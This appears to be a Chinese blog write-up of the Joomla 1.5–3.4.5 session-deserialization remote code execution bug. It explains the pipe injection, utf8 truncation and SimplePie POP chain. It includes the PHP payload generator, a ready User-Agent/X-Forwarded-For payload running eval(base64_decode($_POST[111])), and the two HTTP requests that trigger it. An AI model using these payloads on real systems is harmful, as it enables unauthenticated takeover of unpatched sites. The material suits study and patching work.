Joomla远程代码执行漏洞分析

说一下这个漏洞的影响和触发、利用方法。这个漏洞影响Joomla 1.5 to 3.4全版本,并且利用漏洞无需登录,只需要发送两次数据包即可(第一次:将session插入数据库中,第二次发送同样的数据包来取出session、触发漏洞、执行任意代码),后果是直接导致任意代码执行。

0x00 漏洞点 —— 反序列化session


这个漏洞存在于反序列化session的过程中。

漏洞存在于 libraries/joomla/session/session.php 中,_validate函数,将ua和xff调用set方法设置到了session中(session.client.browser和session.client.forwarded

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
protected function _validate( $restart = false)
     {
         ...
 
         // Record proxy forwarded for in the session in case we need it later
         if (isset( $_SERVER [ 'HTTP_X_FORWARDED_FOR' ]))
         {
             $this ->set( 'session.client.forwarded' , $_SERVER [ 'HTTP_X_FORWARDED_FOR' ]);
         }
 
         ...
         // Check for clients browser
         if (in_array( 'fix_browser' , $this ->_security) && isset( $_SERVER [ 'HTTP_USER_AGENT' ]))
         {
             $browser = $this ->get( 'session.client.browser' );
 
             if ( $browser === null)
             {
                 $this ->set( 'session.client.browser' , $_SERVER [ 'HTTP_USER_AGENT' ]);
             }
             elseif ( $_SERVER [ 'HTTP_USER_AGENT' ] !== $browser )
             {
                 // @todo remove code: $this->_state = 'error';
                 // @todo remove code: return false;
             }

最终跟随他们俩进入数据库,session表:

正常情况下,不存在任何问题。因为我们控制的只是反序列化对象中的一个字符串,不会触发反序列相关的漏洞。 但是,因为一个小姿势,导致后面我们可以控制整个反序列化对象。

0x01 利用|字符伪造,控制整个反序列化字符串


首先,我们需要先看看@Ryat老师的pch-013:https://github.com/80vul/phpcodz/blob/master/research/pch-013.md
和pch-013中的情况类似,joomla也没有采用php自带的session处理机制,而是用多种方式(包括database、memcache等)自己编写了存储session的容器(storage)。

其存储格式为『键名 + 竖线 + 经过 serialize() 函数反序列处理的值』,未正确处理多个竖线的情况。
那么,我们这里就可以通过注入一个"|"符号,将它前面的部分全部认为是name,而|后面我就可以插入任意serialize字符串,构造反序列化漏洞了。

但还有一个问题,在我们构造好的反序列化字符串后面,还有它原本的内容,必须要截断。而此处并不像SQL注入,还有注释符可用。 不知各位是否还记得当年wordpress出过的一个XSS,当时就是在插入数据库的时候利用"%F0%9D%8C%86"字符将mysql中utf-8的字段截断了。

这里我们用同样的方法,在session进入数据库的时候就截断后面的内容,避免对我们反序列化过程造成影响。

0x02 构造POP执行链,执行任意代码


在可以控制反序列化对象以后,我们只需构造一个能够一步步调用的执行链,即可进行一些危险的操作了。 exp构造的执行链,分别利用了如下类:

  1. JDatabaseDriverMysqli
  2. SimplePie

我们可以在JDatabaseDriverMysqli类的析构函数里找到一处敏感操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function __destruct()
{
     $this ->disconnect();
}
...
public function disconnect()
{
     // Close the connection.
     if ( $this ->connection)
     {
         foreach ( $this ->disconnectHandlers as $h )
         {
             call_user_func_array( $h , array ( & $this ));
         }
 
         mysqli_close( $this ->connection);
     }
 
     $this ->connection = null;
}

当exp对象反序列化后,将会成为一个JDatabaseDriverMysqli类对象,不管中间如何执行,最后都将会调用__destruct__destruct将会调用disconnectdisconnect里有一处敏感函数:call_user_func_array
但很明显,这里的call_user_func_array的第二个参数,是我们无法控制的。所以不能直接构造assert+eval来执行任意代码。
于是这里再次调用了一个对象:SimplePie类对象,和它的init方法组成一个回调函数[new SimplePie(), 'init'],传入call_user_func_array。 跟进init方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function init()
     {
         // Check absolute bare minimum requirements.
         if ((function_exists( 'version_compare' ) && version_compare(PHP_VERSION, '4.3.0' , '<' )) || ! extension_loaded ( 'xml' ) || ! extension_loaded ( 'pcre' ))
         {
             return false;
         }
         ...
         if ( $this ->feed_url !== null || $this ->raw_data !== null)
         {
             $this ->data = array ();
             $this ->multifeed_objects = array ();
             $cache = false;
 
             if ( $this ->feed_url !== null)
             {
                 $parsed_feed_url = SimplePie_Misc:: parse_url ( $this ->feed_url);
                 // Decide whether to enable caching
                 if ( $this ->cache && $parsed_feed_url [ 'scheme' ] !== '' )
                 {
                     $cache = call_user_func( array ( $this ->cache_class, 'create' ), $this ->cache_location, call_user_func( $this ->cache_name_function, $this ->feed_url), 'spc' );
                 }

很明显,其中这两个call_user_func将是触发代码执行的元凶。 所以,我将其中第二个call_user_func的第一个参数cache_name_function,赋值为assert,第二个参数赋值为我需要执行的代码,就构造好了一个『回调后门』。
所以,exp是怎么生成的?给出我写的生成代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
//header("Content-Type: text/plain");
class JSimplepieFactory {
}
class JDatabaseDriverMysql {
 
}
class SimplePie {
     var $sanitize ;
     var $cache ;
     var $cache_name_function ;
     var $javascript ;
     var $feed_url ;
     function __construct()
     {
         $this ->feed_url = "phpinfo();JFactory::getConfig();exit;" ;
         $this ->javascript = 9999;
         $this ->cache_name_function = "assert" ;
         $this ->sanitize = new JDatabaseDriverMysql();
         $this ->cache = true;
     }
}
 
class JDatabaseDriverMysqli {
     protected $a ;
     protected $disconnectHandlers ;
     protected $connection ;
     function __construct()
     {
         $this ->a = new JSimplepieFactory();
         $x = new SimplePie();
         $this ->connection = 1;
         $this ->disconnectHandlers = [
             [ $x , "init" ],
         ];
     }
}
 
$a = new JDatabaseDriverMysqli();
echo serialize( $a );

将这个代码生成的exp,以前面提到的注入『|』的变换方式,带入前面提到的user-agent中,即可触发代码执行。 其中,我们需要将char(0)*char(0)替换成\0\0\0,因为在序列化的时候,protected类型变量会被转换成\0*\0name的样式,这个替换在源代码中也可以看到:

1
$result = str_replace ( '\0\0\0' , chr (0) . '*' . chr (0), $result );

构造的时候遇到一点小麻烦,那就是默认情况下SimplePie是没有定义的,这也是为什么我在调用SimplePie之前先new了一个JSimplepieFactory的原因,因为JSimplepieFactory对象在加载时会调用import函数将SimplePie导入到当前工作环境:

而JSimplepieFactory有autoload,所以不再需要其他include来对其进行加载。 给出我最终构造的POC(既是上诉php代码生成的POC):

1
User-Agent: 123}__test|O:21: "JDatabaseDriverMysqli" :3:{s:4: "\0\0\0a" ;O:17: "JSimplepieFactory" :0:{}s:21: "\0\0\0disconnectHandlers" ;a:1:{i:0;a:2:{i:0;O:9: "SimplePie" :5:{s:8: "sanitize" ;O:20: "JDatabaseDriverMysql" :0:{}s:5: "cache" ;b:1;s:19: "cache_name_function" ;s:6: "assert" ;s:10: "javascript" ;i:9999;s:8: "feed_url" ;s:37: "ρhιτhσπpinfo();JFactory::getConfig();exit;" ;}i:1;s:4: "init" ;}}s:13: "\0\0\0connection" ;i:1;}𝌆

给一张代码成功执行的POC:

0x03 影响版本 & 修复方案

1.5 to 3.4全版本

更新到3.4.6版本

影响版本

from Joomla 1.5 up until 3.4.5

此漏洞无需登录,前台即可代码执行

一、session反序列化

php函数session_set_save_handler()
官方手册介绍如下:
参数 read()
read(string $sessionId)
如果会话中有数据,read 回调函数必须返回将会话数据编码(序列化)后的字符串。 如果会话中没有数据,read 回调函数返回空字符串。

在自动开始会话或者通过调用 session_start() 函数手动开始会话之后,PHP 内部调用 read 回调函数来获取会话数据。 在调用 read 之前,PHP 会调用 open 回调函数。
read 回调返回的序列化之后的字符串格式必须与 write 回调函数保存数据时的格式完全一致。 PHP 会自动反序列化返回的字符串并填充 $_SESSION 超级全局变量。 虽然数据看起来和 serialize() 函数很相似, 但是需要提醒的是,它们是不同的。

简而言之,通过session_set_save_handler()重写read方法,将返回值反序列化后填入$_SESSION
示例如下:

php
classFileSessionHandler
{
    private $savePath;
    function open($savePath, $sessionName)
    {
        $this->savePath = $savePath;
        if (!is_dir($this->savePath)) {
            mkdir($this->savePath, 0777);
        }
        return true;
    }
    function close()
    {
        return true;
    }
    function read($id)
    {
 
          $data=@file_get_contents("$this->savePath/sess_$id");
      var_dump($data);
        return (string)@file_get_contents("$this->savePath/sess_$id");
    }
    function write($id, $data)
    {
       // return file_put_contents("$this->savePath/sess_$id", $data) === false ? false : true;
    }
    function destroy($id)
    {
        $file = "$this->savePath/sess_$id";
        if (file_exists($file)) {
            unlink($file);
        }
        return true;
    }
    function gc($maxlifetime)
    {
        foreach (glob("$this->savePath/sess_*") as $file) {
            if (filemtime($file) + $maxlifetime < time() && file_exists($file)) {
                unlink($file);
            }
        }
        return true;
    }
}
$handler = new FileSessionHandler();
session_set_save_handler(
    array($handler, 'open'),
    array($handler, 'close'),
    array($handler, 'read'),
    array($handler, 'write'),
    array($handler, 'destroy'),
    array($handler, 'gc')
    );
session_start();
var_dump($_SESSION);

运行结果

Joomla远程代码执行漏洞分析_第1张图片

可以看出,两次vardump出来的结果,分别为序列化前和序列化后

二、数据库截断

通过官网介绍“The character set named utf8 uses a maximum of three bytes per character and contains only BMP characters. ”,mysql在使用utf8的时候,一个字符的大小的上限为3字节,而当出现四个字节的字符时,是需要用使用utf8mb4编码,不使用的话,会将不识别的四字节的字符连同后面的字符串一同舍弃。
详情参见:http://xteam.baidu.com/?p=177

三、漏洞分析

joomla会将user-agent和x-forwarded-for的内容写入session,外界可控且并未进行任何过滤

    // Record proxy forwarded for in the session in case we need it later
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
    {
        $this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
    }
        // Check for clients browser
    if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
    {
        $browser = $this->get('session.client.browser');
        if ($browser === null)
        {
            $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
        }
        elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
        {
            // @todo remove code: $this->_state = 'error';
            // @todo remove code: return false;
        }
    }
    return true;
}

之后session写入数据库时,运用前文所讲的四字节字符截断,使得我们写入的session可以被成功反序列化

如下是写入后的内容

__default|a:9:{s:15:”session.counter”;i:1;s:19:”session.timer.start”;i:1450172177;s:18:”session.timer.last”;i:1450172177;s:17:”session.timer.now”;i:1450172177;s:24:”session.client.forwarded”;s:435:”}__test|O:21:”JDatabaseDriverMysqli”:3:{s:2:”fc”;O:17:”JSimplepieFactory”:0:{}s:21:”disconnectHandlers”;a:1:{i:0;a:2:{i:0;O:9:”SimplePie”:5:{s:8:”sanitize”;O:20:”JDatabaseDriverMysql”:0:{}s:8:”feed_url”;s:60:”eval(base64_decode($_POST[111]));JFactory::getConfig();exit;”;s:19:”cache_name_function”;s:6:”assert”;s:5:”cache”;b:1;s:11:”cache_class”;O:20:”JDatabaseDriverMysql”:0:{}}i:1;s:4:”init”;}}s:13:”connection”;b:1;}

而后面则是session的自动反序列化

public function register()
    {
        // Use this object as the session handler
        session_set_save_handler(
            array($this, 'open'), array($this, 'close'), array($this, 'read'), array($this, 'write'),
            array($this, 'destroy'), array($this, 'gc')
        );
    }

使用了session_set_save_handler函数重写了read()方法
read()方法如下

public function read($id)
    {
        // Get the database connection object and verify its connected.
        $db = JFactory::getDbo();
        try
        {
            // Get the session data from the database table.
            $query = $db->getQuery(true)
                ->select($db->quoteName('data'))
            ->from($db->quoteName('#__session'))
            ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
            $db->setQuery($query);
            $result = (string) $db->loadResult();
            $result = str_replace('', chr(0) . '*' . chr(0), $result);
            return $result;
        }
        catch (Exception $e)
        {
            return false;
        }
    }

read() return后自动进行一次反序列化操作,从而造成了php对象注入

四、漏洞利用

User-aget和X-FORWARDER-FOR均可
修改session

GET /joomla/ HTTP/1.1
Host: 192.168.152.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
x-forwarded-for: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}𝌆
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t64919sf706q64
Connection: keep-alive

执行代码

POST /joomla/ HTTP/1.1
Host: 192.168.152.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t64919sf706q64
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
111=cGhwaW5mbygpOw%3d%3d

注意保证cookie中的数据一致即可

Joomla远程代码执行漏洞分析_第2张图片

相关链接

[1]https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions
[2]http://php.net/session_set_save_handler


你可能感兴趣的:(杂类)